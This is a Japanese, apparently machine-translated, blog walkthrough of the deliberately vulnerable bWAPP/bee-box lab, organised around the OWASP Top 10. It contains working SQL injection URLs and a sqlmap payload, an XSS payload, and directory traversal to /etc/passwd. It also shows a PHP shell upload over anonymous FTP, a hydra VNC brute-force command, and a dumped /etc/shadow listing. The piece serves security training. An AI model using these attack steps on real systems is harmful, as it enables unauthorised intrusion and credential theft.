この記事では、OWASP Top-10の分類によると、bWAPPの例を使用したWebアプリケーションの脆弱性(読者だけでなく)を理解することをお勧めします。
簡単な教育プログラム:
Open Web Application Security Project(OWASP)は、オープンソースのWebアプリケーションセキュリティプロジェクトです。 OWASPコミュニティには、世界中の企業、教育機関、個人が含まれます。 コミュニティは、自由にアクセスできる記事、マニュアル、ドキュメント、ツール、テクノロジーの作成に取り組んでいます。 10年間、プロジェクト参加者は、すべてのWeb開発者の注意を引き付けようとして、Webアプリケーションの最も危険な上位10の脆弱性のリストを作成してきました。
トップ10自体は次のようになります 。
A1コードインジェクション
A2不正な認証とセッション管理
A3クロスサイトスクリプティング(XSS)
A4安全でない直接オブジェクト参照
A5安全でない構成
A6機密データの漏洩
A7機能レベルへのアクセス制御の欠如
A8クロスサイトリクエストフォージェリ(CSRF)
A9既知の脆弱性を持つコンポーネントの使用
A10資格のないリダイレクト
評価は、有病率だけでなく、脅威の危険性も反映しています。
バギーWebアプリケーション(bWAPP)は、オープンソースの無料ダウンロードWebアプリケーションです。 OWASPのトップ10に従って分類された約100の脆弱性を含むという点で、他の製品と区別されます。 Webアプリケーションの脆弱性だけでなく、検索および悪用するように設計されています。
投稿者bWAPP-Malik Mesellem( 彼のブログ )
これは、MYSQLを使用したPHPアプリケーションです。 Windows / Linux、WAMPおよびXAMPPに展開できます。 また、記事で使用される完全に準備された蜂箱仮想マシンもあります。
bWAPPで遭遇する脆弱性のリスト:
- SQL、HTML、iFrame、SSI、OSコマンド、XML、XPath、LDAPおよびSMTPインジェクション
- ブラインドSQLおよびブラインドOSコマンドインジェクション
- Bash Shellshock(CGI)およびHeartbleedの脆弱性(OpenSSL)
- クロスサイトスクリプティング(XSS)およびクロスサイトトレース(XST)
- クロスサイトリクエストフォージェリ(CSRF)
- AJAXおよびWebサービスの脆弱性(JSON / XML / SOAP / WSDL)
- 悪意のある無制限のファイルのアップロードとバックドアファイル
- 認証、許可、およびセッション管理の問題
- 任意のファイルアクセスとディレクトリトラバーサル
- ローカルおよびリモートのファイルの包含(LFI / RFI)
- 構成の問題:Man-in-the-Middle、クロスドメインポリシーファイル、情報開示、...
- HTTPパラメーターの汚染とHTTP応答の分割
- サービス拒否(DoS)攻撃:HTTPおよびXMLエンティティの拡張が遅い
- 安全でないdistcc、FTP、NTP、Samba、SNMP、VNC、WebDAV構成
- HTML5 ClickJacking、クロスオリジンリソースシェアリング(CORS)およびWebストレージの問題
- 未検証のリダイレクトと転送、およびCookieポイズニング
- Cookieポイズニングと安全でない暗号化ストレージ
- サーバー側リクエスト偽造(SSRF)
- XML外部エンティティ攻撃(XXE)
記事であなたを待っているもの :
- いくつかの脆弱性-検索、悪用、ペンテストプログラムの使用-の範囲。
- Webを使用せずにいくつかの方法でbwappを渡します。
記事の対象者 :
- 情報セキュリティに熱心な人々、Web開発者(私は願っています:))、情報セキュリティのトピックに興味があり、その仕事が何らかの形でWebテクノロジーに関連しているすべての人。
要件 :
- 知識への渇望
- bWAPPを展開するマシン。
- オプション -ペンテストツールの使用経験。そのレビューと使用はHabréで広く取り上げられています。
記事の目的 :
- ペンテストや開発スキルをテストするのに最適な場所を示してください。 Webアプリケーションのセキュリティを簡単に紹介します。 まあ、競争自体はキャンセルされていません:)
警告!
記事に含まれないもの :
1.何かの照明設定エラー-バグの性質の説明はありません。
2.ペンテストに役立つプログラムを確認します。
考慮される脆弱性は、記事の説明/場所を簡単にするために特に選択されています 。
サポート記事/ソフトウェア/への参照は、記事の最後に記載されています。
SQLインジェクション
SQLインジェクションを選択(GET /検索)
映画を選択するためのページが開きます。 さて、幸福を試してみましょう-ハルクを紹介します。
引用を置き換えると、エラーが発生します。
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search
テクニックによる順序を使用し、列の数を選択します。
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search
7に等しい:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search
次に、ユニオンを使用します。
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search
列番号を取得します。
データベースの名前、ユーザー、パスワードハッシュを取得します。
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search
SQLインジェクション(POST /検索)
/bWAPP/sqli_6.phpを開き、Hulkと入力します。バグはありますが、アドレスバーは役に立ちませんか? BurpsuiteとSqlmapが役立ちます:
burpsuiteで、リクエストを開きます。
エラーが発生しました。見積を削除し、「リクエスト」フィールドを.txtファイルに保存してください。
sqlmapを開き、コマンドを実行します。
sqlmap -r sql.txt
たとえば、プログラムが提供するものを次のように置き換えることで、sqlmapを確認できます。
Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
アドレスバーのペイロードを置き換えるだけです:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
これにより、トークンが取得されます。これは、タスクが完了したことを意味します。
または、XSSに興味がありますか?
すべての味のためにそれらがたくさんあります。
XSSを選択-反映(GET)
代用
<script>alert(1);</script>
他の人のファイルを読むだけですか?
オープンディレクトリトラバーサル-ファイル
http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt
/ etc / passwdに置き換えてみましょう:
オープンディレクトリトラバーサル-ディレクトリ
http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents
リストを読む/ etc /:
ブラックボックステスト
pentestのboot2rootイメージのファンとして(bWAPPに行ったのとまったく同じ方法です)、Webなしでテストすることを、少し説明しながらお見せしたいと思います。
nmapでターゲットをスキャンします。
Nmap scan report for bee-box (192.168.1.18) Host is up (0.0050s latency). Not shown: 983 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 666/tcp open doom 3306/tcp open mysql 5901/tcp open vnc-1 6001/tcp open X11:1 8080/tcp open http-proxy 8443/tcp open https-alt 9080/tcp open glrpc
Niktoスキャナーの結果はありません(自分でスキャンすることをお勧めします )。この記事の範囲により、FTPおよびVNCサービスの解析に制限されます。
FTP
Dirbusterを使用します。
Dir found: /phpmyadmin/ - 200 Dir found: /evil/ - 200 Dir found: /webdav/ - 200 File found: /webdav/Iron_Man.pdf - 200 File found: /webdav/Terminator_Salvation.pdf - 200 File found: /webdav/The_Amazing_Spider-Man.pdf - 200 File found: /webdav/The_Cabin_in_the_Woods.pdf - 200 File found: /webdav/The_Dark_Knight_Rises.pdf - 200 File found: /webdav/The_Incredible_Hulk.pdf - 200 File found: /webdav/bWAPP_intro.pdf - 200
その間
nmap --script=ftp*
報告する:
PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf | -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf | -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf | -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf | -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf | -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf |_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf
これら2つの結果を分析すると、ftpフォルダー(別名/ webdav / )はhttp経由でアクセスできることがわかります。
そのため、PHPシェルをアップロードします。
匿名アクセス、アップロード、http経由のftp、さらに何が必要ですか? :)
私たちのシェル。
Vnc
192.168.1.18:5901に接続しようとしています
では、ヒドラを使用しましょう。
hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc
接続してください... tadam! 予想外ですが、これらはルート権限です。
ルートになったら、 / etc / shadowを見てください
root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7::: bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7::: neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7::: alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7::: thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7::: wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7::: johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7::: selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::
hashcatを使用してパスワードを選択します。
ここにそのようなキャッチがあります。
おわりに
Bee-boxは、 boot2rootイメージでの通常の書き込みを少し超えています。 その中で、誰もが長い間試して、学び、見つけたいと思っていたものを見つけることができます。
記事は混oticとしたものでしたが、私の意見では、読者にテストプラットフォームを紹介することが目的だったため、私は仕事を果たしました。
- たとえば、 ハートブリードとは何かを知りたいですか? 簡単! 2回のマウスクリックで仮想マシンで実行します。
- いくつかのツールや技術を習熟/リコールするために、実際に素早くチェックすることは素晴らしい選択肢だと思います。
- ここでは、ペンテストのスキル、Webテクノロジー、特定のソフトウェアのアプリケーションを完全に引き出すことができます。
参照資料
投稿者bWAPP-Malik Mesellem( 彼のブログ )
トップ10 OWASP自体
BeLoveの豊富な特集記事
同じくBeLoveからのPentest ユーティリティの2番目の選択
作成g0tmi1k- boot2rootイメージが収集されるサイト
アーカイブ内の仮想マシンへのリンク5 GB
ご清聴ありがとうございました。 ご質問にお答えします。